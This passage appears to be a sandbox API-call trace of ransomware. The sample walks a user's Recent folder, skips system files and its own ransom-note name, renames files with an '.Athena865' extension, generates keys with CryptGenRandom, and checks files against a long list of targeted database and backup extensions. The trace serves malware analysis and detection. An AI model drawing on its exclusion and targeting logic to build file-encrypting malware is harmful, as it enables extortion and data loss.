Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\KzPa.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\kzpa.lnk.athena865"), dwFlags=0x1) returned 1 [0052.651] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\KzPa.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\kzpa.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.651] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=976) returned 1 [0052.651] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.651] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.651] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.651] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.652] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.652] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.652] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x154 [0052.652] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0052.653] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.653] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.653] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.653] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.654] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.654] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.654] CloseHandle (hObject=0x154) returned 1 [0052.654] CloseHandle (hObject=0x17c) returned 1 [0052.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.655] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.655] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadff3920, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb23a4ac0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb23a4ac0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xe76, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="L0_ClnHF.lnk", cAlternateFileName="")) returned 1 [0052.655] lstrcmpiW (lpString1="L0_ClnHF.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0052.656] lstrcmpiW (lpString1="L0_ClnHF.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.656] lstrcmpiW (lpString1="L0_ClnHF.lnk", lpString2=".") returned 1 [0052.656] lstrcmpiW (lpString1="L0_ClnHF.lnk", lpString2="..") returned 1 [0052.656] lstrcmpiW (lpString1="L0_ClnHF.lnk", lpString2="windows") returned -1 [0052.656] lstrcmpiW (lpString1="L0_ClnHF.lnk", lpString2="bootmgr") returned 1 [0052.656] lstrcmpiW (lpString1="L0_ClnHF.lnk", lpString2="temp") returned -1 [0052.656] lstrcmpiW (lpString1="L0_ClnHF.lnk", lpString2="pagefile.sys") returned -1 [0052.656] lstrcmpiW (lpString1="L0_ClnHF.lnk", lpString2="boot") returned 1 [0052.656] lstrcmpiW (lpString1="L0_ClnHF.lnk", lpString2="ids.txt") returned 1 [0052.656] lstrcmpiW (lpString1="L0_ClnHF.lnk", lpString2="ntuser.dat") returned -1 [0052.656] lstrcmpiW (lpString1="L0_ClnHF.lnk", lpString2="perflogs") returned -1 [0052.656] lstrcmpiW (lpString1="L0_ClnHF.lnk", lpString2="MSBuild") returned -1 [0052.656] lstrlenW (lpString="L0_ClnHF.lnk") returned 12 [0052.656] lstrcpyW (in: lpString1=0x241e8b4, lpString2="L0_ClnHF.lnk" | out: lpString1="L0_ClnHF.lnk") returned="L0_ClnHF.lnk" [0052.656] lstrlenW (lpString="L0_ClnHF.lnk") returned 12 [0052.656] lstrlenW (lpString="Athena865") returned 9 [0052.656] lstrcmpiW (lpString1="ClnHF.lnk", lpString2="Athena865") returned 1 [0052.656] lstrlenW (lpString=".dll") returned 4 [0052.656] lstrcmpiW (lpString1="L0_ClnHF.lnk", lpString2=".dll") returned 1 [0052.656] lstrlenW (lpString=".lnk") returned 4 [0052.656] lstrcmpiW (lpString1="L0_ClnHF.lnk", lpString2=".lnk") returned 1 [0052.656] lstrlenW (lpString=".ini") returned 4 [0052.656] lstrcmpiW (lpString1="L0_ClnHF.lnk", lpString2=".ini") returned 1 [0052.656] lstrlenW (lpString=".sys") returned 4 [0052.656] lstrcmpiW (lpString1="L0_ClnHF.lnk", lpString2=".sys") returned 1 [0052.656] lstrlenW (lpString="L0_ClnHF.lnk") returned 12 [0052.656] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\L0_ClnHF.lnk.Athena865") returned 76 [0052.656] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\L0_ClnHF.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\l0_clnhf.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\L0_ClnHF.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\l0_clnhf.lnk.athena865"), dwFlags=0x1) returned 1 [0052.657] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\L0_ClnHF.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\l0_clnhf.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.657] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3702) returned 1 [0052.657] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.658] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.658] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.658] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.658] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.658] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.659] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1180, lpName=0x0) returned 0x154 [0052.659] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1180) returned 0x100000 [0052.659] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.660] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.660] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.660] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.660] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.666] lstrcpyW (in: lpString1=0x241e8b4, lpString2="l3b7epDTguZoZ.flv.lnk" | out: lpString1="l3b7epDTguZoZ.flv.lnk") returned="l3b7epDTguZoZ.flv.lnk" [0052.666] lstrlenW (lpString="l3b7epDTguZoZ.flv.lnk") returned 21 [0052.666] lstrlenW (lpString="Athena865") returned 9 [0052.666] lstrcmpiW (lpString1="Z.flv.lnk", lpString2="Athena865") returned 1 [0052.666] lstrlenW (lpString=".dll") returned 4 [0052.666] lstrcmpiW (lpString1="l3b7epDTguZoZ.flv.lnk", lpString2=".dll") returned 1 [0052.666] lstrlenW (lpString=".lnk") returned 4 [0052.666] lstrcmpiW (lpString1="l3b7epDTguZoZ.flv.lnk", lpString2=".lnk") returned 1 [0052.666] lstrlenW (lpString=".ini") returned 4 [0052.666] lstrcmpiW (lpString1="l3b7epDTguZoZ.flv.lnk", lpString2=".ini") returned 1 [0052.666] lstrlenW (lpString=".sys") returned 4 [0052.666] lstrcmpiW (lpString1="l3b7epDTguZoZ.flv.lnk", lpString2=".sys") returned 1 [0052.666] lstrlenW (lpString="l3b7epDTguZoZ.flv.lnk") returned 21 [0052.666] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\l3b7epDTguZoZ.flv.lnk.Athena865") returned 85 [0052.667] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\l3b7epDTguZoZ.flv.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\l3b7epdtguzoz.flv.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\l3b7epDTguZoZ.flv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\l3b7epdtguzoz.flv.lnk.athena865"), dwFlags=0x1) returned 1 [0052.667] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\l3b7epDTguZoZ.flv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\l3b7epdtguzoz.flv.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.668] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5335) returned 1 [0052.673] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.673] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.673] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.674] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17e0, lpName=0x0) returned 0x154 [0052.674] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17e0) returned 0x100000 [0052.674] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.675] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.675] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.675] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.676] CloseHandle (hObject=0x154) returned 1 [0052.676] CloseHandle (hObject=0x17c) returned 1 [0052.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.677] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.677] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1fa05a0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb1fa05a0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb1fa05a0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x401, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lDYBYkmL3UqGN.lnk", cAlternateFileName="LDYBYK~1.LNK")) returned 1 [0052.677] lstrcmpiW (lpString1="lDYBYkmL3UqGN.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0052.677] lstrcmpiW (lpString1="lDYBYkmL3UqGN.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.677] lstrcmpiW (lpString1="lDYBYkmL3UqGN.lnk", lpString2=".") returned 1 [0052.677] lstrcmpiW (lpString1="lDYBYkmL3UqGN.lnk", lpString2="..") returned 1 [0052.677] lstrcmpiW (lpString1="lDYBYkmL3UqGN.lnk", lpString2="windows") returned -1 [0052.677] lstrcmpiW (lpString1="lDYBYkmL3UqGN.lnk", lpString2="bootmgr") returned 1 [0052.677] lstrcmpiW (lpString1="lDYBYkmL3UqGN.lnk", lpString2="temp") returned -1 [0052.677] lstrcmpiW (lpString1="lDYBYkmL3UqGN.lnk", lpString2="pagefile.sys") returned -1 [0052.677] lstrcmpiW (lpString1="lDYBYkmL3UqGN.lnk", lpString2="boot") returned 1 [0052.677] lstrcmpiW (lpString1="lDYBYkmL3UqGN.lnk", lpString2="ids.txt") returned 1 [0052.677] lstrcmpiW (lpString1="lDYBYkmL3UqGN.lnk", lpString2="ntuser.dat") returned -1 [0052.677] lstrcmpiW (lpString1="lDYBYkmL3UqGN.lnk", lpString2="perflogs") returned -1 [0052.677] lstrcmpiW (lpString1="lDYBYkmL3UqGN.lnk", lpString2="MSBuild") returned -1 [0052.677] lstrlenW (lpString="lDYBYkmL3UqGN.lnk") returned 17 [0052.677] lstrcpyW (in: lpString1=0x241e8b4, lpString2="lDYBYkmL3UqGN.lnk" | out: lpString1="lDYBYkmL3UqGN.lnk") returned="lDYBYkmL3UqGN.lnk" [0052.677] lstrlenW (lpString="lDYBYkmL3UqGN.lnk") returned 17 [0052.677] lstrlenW (lpString="Athena865") returned 9 [0052.677] lstrcmpiW (lpString1="3UqGN.lnk", lpString2="Athena865") returned -1 [0052.677] lstrlenW (lpString=".dll") returned 4 [0052.677] lstrcmpiW (lpString1="lDYBYkmL3UqGN.lnk", lpString2=".dll") returned 1 [0052.678] lstrlenW (lpString=".lnk") returned 4 [0052.678] lstrcmpiW (lpString1="lDYBYkmL3UqGN.lnk", lpString2=".lnk") returned 1 [0052.678] lstrlenW (lpString=".ini") returned 4 [0052.678] lstrcmpiW (lpString1="lDYBYkmL3UqGN.lnk", lpString2=".ini") returned 1 [0052.678] lstrlenW (lpString=".sys") returned 4 [0052.678] lstrcmpiW (lpString1="lDYBYkmL3UqGN.lnk", lpString2=".sys") returned 1 [0052.678] lstrlenW (lpString="lDYBYkmL3UqGN.lnk") returned 17 [0052.678] lstrlenW (lpString="bak") returned 3 [0052.678] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.678] lstrlenW (lpString="ba_") returned 3 [0052.678] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.678] lstrlenW (lpString="dbb") returned 3 [0052.678] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.678] lstrlenW (lpString="vmdk") returned 4 [0052.678] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.678] lstrlenW (lpString="rar") returned 3 [0052.678] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.678] lstrlenW (lpString="zip") returned 3 [0052.678] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.678] lstrlenW (lpString="tgz") returned 3 [0052.678] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.678] lstrlenW (lpString="vbox") returned 4 [0052.678] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.678] lstrlenW (lpString="vdi") returned 3 [0052.678] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.678] lstrlenW (lpString="vhd") returned 3 [0052.678] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.678] lstrlenW (lpString="vhdx") returned 4 [0052.678] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.678] lstrlenW (lpString="avhd") returned 4 [0052.678] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.678] lstrlenW (lpString="db") returned 2 [0052.678] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.679] lstrlenW (lpString="db2") returned 3 [0052.679] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.679] lstrlenW (lpString="db3") returned 3 [0052.679] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.679] lstrlenW (lpString="dbf") returned 3 [0052.679] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.679] lstrlenW (lpString="mdf") returned 3 [0052.679] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.679] lstrlenW (lpString="mdb") returned 3 [0052.679] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.679] lstrlenW (lpString="sql") returned 3 [0052.679] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.679] lstrlenW (lpString="sqlite") returned 6 [0052.679] lstrcmpiW (lpString1="GN.lnk", lpString2="sqlite") returned -1 [0052.679] lstrlenW (lpString="sqlite3") returned 7 [0052.679] lstrcmpiW (lpString1="qGN.lnk", lpString2="sqlite3") returned -1 [0052.679] lstrlenW (lpString="sqlitedb") returned 8 [0052.679] lstrcmpiW (lpString1="UqGN.lnk", lpString2="sqlitedb") returned 1 [0052.679] lstrlenW (lpString="xml") returned 3 [0052.679] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.679] lstrlenW (lpString="$er") returned 3 [0052.679] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.679] lstrlenW (lpString="4dd") returned 3 [0052.679] lstrcmpiW (lpString1="lnk", lpString2="4dd") returned 1 [0052.679] lstrlenW (lpString="4dl") returned 3 [0052.679] lstrcmpiW (lpString1="lnk", lpString2="4dl") returned 1 [0052.679] lstrlenW (lpString="^^^") returned 3 [0052.679] lstrcmpiW (lpString1="lnk", lpString2="^^^") returned 1 [0052.679] lstrlenW (lpString="abs") returned 3 [0052.679] lstrcmpiW (lpString1="lnk", lpString2="abs") returned 1 [0052.679] lstrlenW (lpString="abx") returned 3 [0052.679] lstrcmpiW (lpString1="lnk", lpString2="abx") returned 1 [0052.679] lstrlenW (lpString="accdb") returned 5 [0052.679] lstrcmpiW (lpString1="N.lnk", lpString2="accdb") returned 1 [0052.680] lstrlenW (lpString="accdc") returned 5 [0052.680] lstrcmpiW (lpString1="N.lnk", lpString2="accdc") returned 1 [0052.680] lstrlenW (lpString="accde") returned 5 [0052.680] lstrcmpiW (lpString1="N.lnk", lpString2="accde") returned 1 [0052.680] lstrlenW (lpString="accdr") returned 5 [0052.680] lstrcmpiW (lpString1="N.lnk", lpString2="accdr") returned 1 [0052.680] lstrlenW (lpString="accdt") returned 5 [0052.680] lstrcmpiW (lpString1="N.lnk", lpString2="accdt") returned 1 [0052.680] lstrlenW (lpString="accdw") returned 5 [0052.680] lstrcmpiW (lpString1="N.lnk", lpString2="accdw") returned 1 [0052.680] lstrlenW (lpString="accft") returned 5 [0052.680] lstrcmpiW (lpString1="N.lnk", lpString2="accft") returned 1 [0052.680] lstrlenW (lpString="adb") returned 3 [0052.680] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.680] lstrlenW (lpString="adb") returned 3 [0052.680] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.680] lstrlenW (lpString="ade") returned 3 [0052.680] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.680] lstrlenW (lpString="adf") returned 3 [0052.680] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.680] lstrlenW (lpString="adn") returned 3 [0052.680] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.680] lstrlenW (lpString="adp") returned 3 [0052.680] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.680] lstrlenW (lpString="alf") returned 3 [0052.680] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.680] lstrlenW (lpString="ask") returned 3 [0052.680] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.680] lstrlenW (lpString="btr") returned 3 [0052.680] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.680] lstrlenW (lpString="cat") returned 3 [0052.680] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.680] lstrlenW (lpString="cdb") returned 3 [0052.680] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.681] lstrlenW (lpString="ckp") returned 3 [0052.681] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.681] lstrlenW (lpString="cma") returned 3 [0052.681] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.681] lstrlenW (lpString="cpd") returned 3 [0052.681] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.681] lstrlenW (lpString="dacpac") returned 6 [0052.681] lstrcmpiW (lpString1="GN.lnk", lpString2="dacpac") returned 1 [0052.681] lstrlenW (lpString="dad") returned 3 [0052.681] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.681] lstrlenW (lpString="dadiagrams") returned 10 [0052.681] lstrcmpiW (lpString1="L3UqGN.lnk", lpString2="dadiagrams") returned 1 [0052.681] lstrlenW (lpString="daschema") returned 8 [0052.681] lstrcmpiW (lpString1="UqGN.lnk", lpString2="daschema") returned 1 [0052.681] lstrlenW (lpString="db-journal") returned 10 [0052.681] lstrcmpiW (lpString1="L3UqGN.lnk", lpString2="db-journal") returned 1 [0052.681] lstrlenW (lpString="db-shm") returned 6 [0052.681] lstrcmpiW (lpString1="GN.lnk", lpString2="db-shm") returned 1 [0052.681] lstrlenW (lpString="db-wal") returned 6 [0052.681] lstrcmpiW (lpString1="GN.lnk", lpString2="db-wal") returned 1 [0052.681] lstrlenW (lpString="dbc") returned 3 [0052.681] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.681] lstrlenW (lpString="dbs") returned 3 [0052.681] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.681] lstrlenW (lpString="dbt") returned 3 [0052.681] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.681] lstrlenW (lpString="dbv") returned 3 [0052.681] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.681] lstrlenW (lpString="dbx") returned 3 [0052.681] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.681] lstrlenW (lpString="dcb") returned 3 [0052.681] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.681] lstrlenW (lpString="dct") returned 3 [0052.681] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0052.681] lstrlenW (lpString="dcx") returned 3 [0052.681] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0052.682] lstrlenW (lpString="ddl") returned 3 [0052.682] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0052.682] lstrlenW (lpString="dlis") returned 4 [0052.682] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0052.682] lstrlenW (lpString="dp1") returned 3 [0052.682] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0052.682] lstrlenW (lpString="dqy") returned 3 [0052.682] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0052.682] lstrlenW (lpString="dsk") returned 3 [0052.682] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1 [0052.682] lstrlenW (lpString="dsn") returned 3 [0052.682] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1 [0052.682] lstrlenW (lpString="dtsx") returned 4 [0052.682] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1 [0052.682] lstrlenW (lpString="dxl") returned 3 [0052.682] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1 [0052.682] lstrlenW (lpString="eco") returned 3 [0052.682] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1 [0052.682] lstrlenW (lpString="ecx") returned 3 [0052.682] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1 [0052.682] lstrlenW (lpString="edb") returned 3 [0052.682] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1 [0052.682] lstrlenW (lpString="epim") returned 4 [0052.682] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1 [0052.682] lstrlenW (lpString="fcd") returned 3 [0052.682] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1 [0052.682] lstrlenW (lpString="fdb") returned 3 [0052.682] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1 [0052.682] lstrlenW (lpString="fic") returned 3 [0052.682] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1 [0052.682] lstrlenW (lpString="flexolibrary") returned 12 [0052.682] lstrcmpiW (lpString1="kmL3UqGN.lnk", lpString2="flexolibrary") returned 1 [0052.682] lstrlenW (lpString="fm5") returned 3 [0052.682] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1 [0052.682] lstrlenW (lpString="fmp") returned 3 [0052.682] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1 [0052.683] lstrlenW (lpString="fmp12") returned 5 [0052.683] lstrcmpiW (lpString1="N.lnk", lpString2="fmp12") returned 1 [0052.683] lstrlenW (lpString="fmpsl") returned 5 [0052.683] lstrcmpiW (lpString1="N.lnk", lpString2="fmpsl") returned 1 [0052.683] lstrlenW (lpString="fol") returned 3 [0052.683] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1 [0052.683] 